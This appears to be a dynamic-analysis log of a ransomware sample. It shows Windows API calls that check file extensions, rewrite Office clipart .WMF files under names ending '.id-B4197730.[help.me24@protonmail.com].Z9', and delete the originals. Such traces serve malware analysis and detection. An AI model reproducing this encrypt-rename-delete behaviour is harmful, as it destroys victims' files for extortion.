	[0091.914] lstrlenW (lpString=".1cd") returned 4
	[0091.914] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0091.914] lstrlenW (lpString=".jpg") returned 4
	[0091.914] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0091.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0091.914] lstrlenW (lpString=".doc") returned 4
	[0091.914] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.914] lstrlenW (lpString=".docx") returned 5
	[0091.914] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0091.914] lstrlenW (lpString=".pdf") returned 4
	[0091.914] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.914] lstrlenW (lpString=".xls") returned 4
	[0091.914] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.914] lstrlenW (lpString=".xlsx") returned 5
	[0091.914] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0091.914] lstrlenW (lpString=".ppt") returned 4
	[0091.914] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0091.914] lstrlenW (lpString=".zip") returned 4
	[0091.914] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.915] lstrlenW (lpString=".rar") returned 4
	[0091.915] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.915] lstrlenW (lpString=".bz2") returned 4
	[0091.915] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.915] lstrlenW (lpString=".7z") returned 3
	[0091.915] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0091.915] lstrlenW (lpString=".dbf") returned 4
	[0091.915] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0091.915] lstrlenW (lpString=".1cd") returned 4
	[0091.915] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68
	[0091.915] lstrlenW (lpString=".jpg") returned 4
	[0091.915] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.915] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0091.915] lstrlenW (lpString="ED00172_.WMF") returned 12
	[0091.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0092.253] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=2700) returned 1
	[0092.253] CloseHandle (hObject=0x358) returned 1
	[0092.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf")) returned 0x220
	[0092.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0092.253] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.253] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0092.254] GetLastError () returned 0x0
	[0092.254] ReadFile (in: hFile=0x358, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0xa8c, lpOverlapped=0x0) returned 1
	[0092.255] WriteFile (in: hFile=0x384, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xa90, lpOverlapped=0x0) returned 1
	[0092.257] ReadFile (in: hFile=0x358, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0092.257] WriteFile (in: hFile=0x384, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0092.257] SetEndOfFile (hFile=0x384) returned 1
	[0092.257] CloseHandle (hObject=0x384) returned 1
	[0092.257] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.257] SetEndOfFile (hFile=0x358) returned 1
	[0092.258] CloseHandle (hObject=0x358) returned 1
	[0092.258] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0092.258] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf")) returned 1
	[0092.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0092.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0092.258] lstrlenW (lpString=".doc") returned 4
	[0092.258] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.258] lstrlenW (lpString=".docx") returned 5
	[0092.258] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.258] lstrlenW (lpString=".pdf") returned 4
	[0092.258] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.258] lstrlenW (lpString=".xls") returned 4
	[0092.259] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.259] lstrlenW (lpString=".xlsx") returned 5
	[0092.259] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.259] lstrlenW (lpString=".ppt") returned 4
	[0092.259] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0092.259] lstrlenW (lpString=".zip") returned 4
	[0092.259] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.259] lstrlenW (lpString=".rar") returned 4
	[0092.259] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.259] lstrlenW (lpString=".bz2") returned 4
	[0092.259] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.259] lstrlenW (lpString=".7z") returned 3
	[0092.259] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0092.259] lstrlenW (lpString=".dbf") returned 4
	[0092.259] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0092.259] lstrlenW (lpString=".1cd") returned 4
	[0092.259] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0092.259] lstrlenW (lpString=".jpg") returned 4
	[0092.259] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0092.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0092.259] lstrlenW (lpString=".doc") returned 4
	[0092.259] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.259] lstrlenW (lpString=".docx") returned 5
	[0092.259] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.259] lstrlenW (lpString=".pdf") returned 4
	[0092.259] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.259] lstrlenW (lpString=".xls") returned 4
	[0092.259] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.259] lstrlenW (lpString=".xlsx") returned 5
	[0092.259] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.259] lstrlenW (lpString=".ppt") returned 4
	[0092.260] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0092.260] lstrlenW (lpString=".zip") returned 4
	[0092.260] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.260] lstrlenW (lpString=".rar") returned 4
	[0092.260] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.260] lstrlenW (lpString=".bz2") returned 4
	[0092.260] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.260] lstrlenW (lpString=".7z") returned 3
	[0092.260] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0092.260] lstrlenW (lpString=".dbf") returned 4
	[0092.260] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0092.260] lstrlenW (lpString=".1cd") returned 4
	[0092.260] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0092.260] lstrlenW (lpString=".jpg") returned 4
	[0092.260] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.260] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0092.260] lstrlenW (lpString="EN00242_.WMF") returned 12
	[0092.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0092.261] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=6780) returned 1
	[0092.261] CloseHandle (hObject=0x358) returned 1
	[0092.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf")) returned 0x220
	[0092.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0092.261] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.261] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0092.262] GetLastError () returned 0x0
	[0092.262] ReadFile (in: hFile=0x358, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x1a7c, lpOverlapped=0x0) returned 1
	[0092.263] WriteFile (in: hFile=0x384, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x1a80, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x1a80, lpOverlapped=0x0) returned 1
	[0092.264] ReadFile (in: hFile=0x358, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0092.264] WriteFile (in: hFile=0x384, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0092.264] SetEndOfFile (hFile=0x384) returned 1
	[0092.264] CloseHandle (hObject=0x384) returned 1
	[0092.264] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.264] SetEndOfFile (hFile=0x358) returned 1
	[0092.265] CloseHandle (hObject=0x358) returned 1
	[0092.265] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0092.265] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf")) returned 1
	[0092.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0092.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0092.266] lstrlenW (lpString=".doc") returned 4
	[0092.266] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.266] lstrlenW (lpString=".docx") returned 5
	[0092.266] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.266] lstrlenW (lpString=".pdf") returned 4
	[0092.266] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.266] lstrlenW (lpString=".xls") returned 4
	[0092.266] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.266] lstrlenW (lpString=".xlsx") returned 5
	[0092.266] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.266] lstrlenW (lpString=".ppt") returned 4
	[0092.266] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0092.266] lstrlenW (lpString=".zip") returned 4
	[0092.266] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.266] lstrlenW (lpString=".rar") returned 4
	[0092.266] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.266] lstrlenW (lpString=".bz2") returned 4
	[0092.266] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.266] lstrlenW (lpString=".7z") returned 3
	[0092.266] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0092.266] lstrlenW (lpString=".dbf") returned 4
	[0092.266] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0092.266] lstrlenW (lpString=".1cd") returned 4
	[0092.266] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0092.266] lstrlenW (lpString=".jpg") returned 4
	[0092.267] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0092.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0092.267] lstrlenW (lpString=".doc") returned 4
	[0092.267] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.267] lstrlenW (lpString=".docx") returned 5
	[0092.267] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.267] lstrlenW (lpString=".pdf") returned 4
	[0092.267] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.267] lstrlenW (lpString=".xls") returned 4
	[0092.267] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.267] lstrlenW (lpString=".xlsx") returned 5
	[0092.267] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.267] lstrlenW (lpString=".ppt") returned 4
	[0092.267] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0092.267] lstrlenW (lpString=".zip") returned 4
	[0092.267] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.267] lstrlenW (lpString=".rar") returned 4
	[0092.267] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.267] lstrlenW (lpString=".bz2") returned 4
	[0092.267] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.267] lstrlenW (lpString=".7z") returned 3
	[0092.267] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0092.267] lstrlenW (lpString=".dbf") returned 4
	[0092.267] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0092.267] lstrlenW (lpString=".1cd") returned 4
	[0092.267] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0092.267] lstrlenW (lpString=".jpg") returned 4
	[0092.267] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.268] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0092.268] lstrlenW (lpString="EN00319_.WMF") returned 12
	[0092.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0092.268] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=2280) returned 1
	[0092.268] CloseHandle (hObject=0x358) returned 1
	[0092.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf")) returned 0x220
	[0092.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0092.268] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.268] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0092.269] GetLastError () returned 0x0
	[0092.269] ReadFile (in: hFile=0x358, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x8e8, lpOverlapped=0x0) returned 1
	[0092.270] WriteFile (in: hFile=0x384, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x8f0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x8f0, lpOverlapped=0x0) returned 1
	[0092.271] ReadFile (in: hFile=0x358, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0092.271] WriteFile (in: hFile=0x384, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0092.271] SetEndOfFile (hFile=0x384) returned 1
	[0092.272] CloseHandle (hObject=0x384) returned 1
	[0092.272] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.272] SetEndOfFile (hFile=0x358) returned 1
	[0092.273] CloseHandle (hObject=0x358) returned 1
	[0092.273] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0092.273] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf")) returned 1
	[0092.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0092.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0092.273] lstrlenW (lpString=".doc") returned 4
	[0092.273] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.273] lstrlenW (lpString=".docx") returned 5
	[0092.273] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.273] lstrlenW (lpString=".pdf") returned 4
	[0092.273] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.273] lstrlenW (lpString=".xls") returned 4
	[0092.273] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.273] lstrlenW (lpString=".xlsx") returned 5
	[0092.273] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.273] lstrlenW (lpString=".ppt") returned 4
	[0092.273] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0092.273] lstrlenW (lpString=".zip") returned 4
	[0092.273] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.274] lstrlenW (lpString=".rar") returned 4
	[0092.274] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.274] lstrlenW (lpString=".bz2") returned 4
	[0092.274] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.274] lstrlenW (lpString=".7z") returned 3
	[0092.274] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0092.274] lstrlenW (lpString=".dbf") returned 4
	[0092.274] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
